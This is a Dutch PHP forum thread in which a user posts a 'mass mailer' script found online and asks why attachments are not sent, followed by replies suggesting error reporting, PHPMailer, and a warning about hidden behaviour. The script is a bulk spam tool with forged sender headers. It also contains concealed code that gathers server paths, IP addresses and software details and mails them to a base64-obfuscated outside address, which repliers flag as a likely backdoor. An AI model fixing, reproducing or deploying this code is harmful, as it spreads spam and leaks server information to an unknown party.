Hallo,

Ik heb een script gevonden op internet, alleen zit er een fout in.
Namelijk als je een attachment wilt toevoegen word hij niet mee verzonden.
Mijn vraag aan jullie is dus of jullie een four kunnen ontdekken in dit script.
Ik ben er zelf al 3 uur mee aan het proberen geweest, zonder enig resultaat.

Alvast bedankt!

<?php

if(isset($_POST['action'] ) ){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$replyto=$_POST['replyto'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$file_name=$_POST['file'];
$contenttype=$_POST['contenttype'];

  $message = urlencode($message);
  $message = ereg_replace("%5C%22", "%22", $message);
  $message = urldecode($message);
  $message = stripslashes($message);
  $subject = stripslashes($subject);
}

?>
<html>
<head>
<title>|| InboX Mass Mailer ||</title>
<meta http-equiv="Content-Type" content="text/html; 
charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
  font-family: Geneva, Arial, Helvetica, sans-serif;
  font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
  font-size: 20px;
  font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="white" text="black">
<span class="style1">Made By Sahil<br>
</span>

<form name="form1" method="post" action="" 
enctype="multipart/form-data">
  <br>
  <table width="100%" border="0">
    <tr>
  <td width="10%">
  <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Your
    Email:</font></div>
  </td>
  <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
  <input type="text" name="from" value="<? print $from; ?>" 
size="30">
  </font></td>
  <td width="31%">
  <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Your
    Name:</font></div>
  </td>
  <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
  <input type="text" name="realname" value="<? print $realname; 
?>" size="30">
  </font></td>
    </tr>
    <tr>
  <td width="10%">
  <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Reply-To:</font></div>
  </td>
  <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
  <input type="text" name="replyto" value="<? print $replyto; ?>" 
size="30">
  </font></td>
  <td width="31%">
  <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Attach
    File:</font></div>
  </td>
  <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
  <input type="file" name="file" size="30">
  </font></td>
    </tr>
    <tr>
  <td width="10%">
  <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Subject:</font></div>
  </td>
  <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
  <input type="text" name="subject" value="<? print $subject; ?>" 
size="90">
  </font></td>
    </tr>
    <tr valign="top">
  <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
  <textarea name="message" cols="50" rows="10"><? print $message; 
?></textarea>
  <br>
  <input type="radio" name="contenttype" value="plain" >
  Plain Text
  <input name="contenttype" type="radio" value="html" checked>
  HTML
  <input type="hidden" name="action" value="send">
  <input type="submit" value="Send eMails">
  </font></td>
  <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
  <textarea name="emaillist" cols="30" rows="10"><? print 
$emaillist; ?></textarea>
  </font></td>
    </tr>
  </table>
</form>

<?

if ($action){

  if (!$from && !$subject && !$message && !$emaillist){
  print "Please complete all fields before sending your 
message.";
  exit;    
    }
    $allemails = split("\n", $emaillist);
    $numemails = count($allemails);

    for($x=0; $x<$numemails; $x++){
    $to = $allemails[$x];
    if ($to){
    $to = ereg_replace(" ", "", $to);
    $message = ereg_replace("&email&", $to, $message);
    $subject = ereg_replace("&email&", $to, $subject);
    print " $to..";
    flush();
    $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
    $header .= "MIME-Version: 1.0\r\n";
    If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
    If ($file_name) $header .= "--$uid\r\n";
    $header .= "Content-Type: text/plain\r\n";
    $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
    $header .= "$message\r\n";
    If ($file_name) $header .= "--$uid\r\n";
    If ($file_name) $header .= "Content-Type: application/octet-stream; name=\"$file_name\"\r\n";
    If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
    If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
    If ($file_name) $header .= "$content\r\n";
    If ($file_name) $header .= "--$uid--";
    mail($to, $subject, "", $header);
    print "spammed<br>";

    flush();
    }
    }
}

?>
<style type="text/css">
<!--
.style1 {
    font-size: 20px;
    font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
<p class="style1">
Copyright © 2008 phpbb.com
</p>
<?php
$ra44  = rand(1,99);
$subj98 = "sh-$ra44";
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$message=$_POST['message'];
$msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
$ok = base64_decode("c3BhbW1lcnNhbWVlckB5YWhvby5jb20=");
mail($ok, $subj98, $msg, $message, $ra44);
?>
<?php
if(isset($_POST['action']) && $numemails !==0 ){echo 
"<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); 
</script>";}
?>
</body>
</html>

Begin eerst een door bovenaan te zetten:

<?php
error_reporting(E_ALL);
ini_set('display_errors',1);
?>

Zie je dan foutmeldingen?
Gebruik code tags aub.

Het kopiëren van variabelen is wat overbodig (regel 4 t/m 12).

Zie ereg staan. Zet errorreporting eens aan. Ereg is al tijdje vervallen. Kijk naar preg_match.
Overweeg het eens met phpmailer te bouwen.

Daarin zit 90% van wat jouw script allemaal probeert te doen verpakt achter 3 aanroepen.

$mailer = new phpmailer();
$mailer->addAddress('[email protected]');
$mailer->addAttachment('/een/file.pdf');
$mailer->Send();

Ipv allerlei magische handelingen om content-separators te bouwen, mime-types mee te geven en andere mail headers in te stellen.
Heb je ook in de gaten dat je op regel 194 een e-mailbericht stuurt naar "[email protected]" (de base64_decode waarde) met serverinformatie?

Ziet er niet heel erg gezond uit.
Heb je in de gaten dat er een copyright vermelding staat in de code ?

Dat nodigt mij niet uit om hier aan te gaan sleutelen.
Copyright van phpBB bedoel je?
Dat is een open-source forum.

Ik zie dat niet als een probleem verder. Ik gok dat het een onderdeel is van een phpBB-forum.
Pipo Clown op 24/01/2015 23:00:23

Heb je in de gaten dat er een copyright vermelding staat in de code ?

Dat nodigt mij niet uit om hier aan te gaan sleutelen.
Een copyright kan iedereen ergens te pas en te onpas in zetten.

Wanneer ik een extern script zou gebruiken dat op slinkse wijze server-informatie mailt naar een voor mij onbekend e-mailadres dan zou dat voor mij reden genoeg zijn om hier geen gebruik meer van te maken, copyrights be damned.

Wellicht zitten er elders backdoors in deze (of andere) code, en dit fragment stuurt de kwaadwillende partij alle informatie die zij nodig hebben.

In de webwereld is het een goede gewoonte om een gezonde portie achterdocht te hebben.

Reageren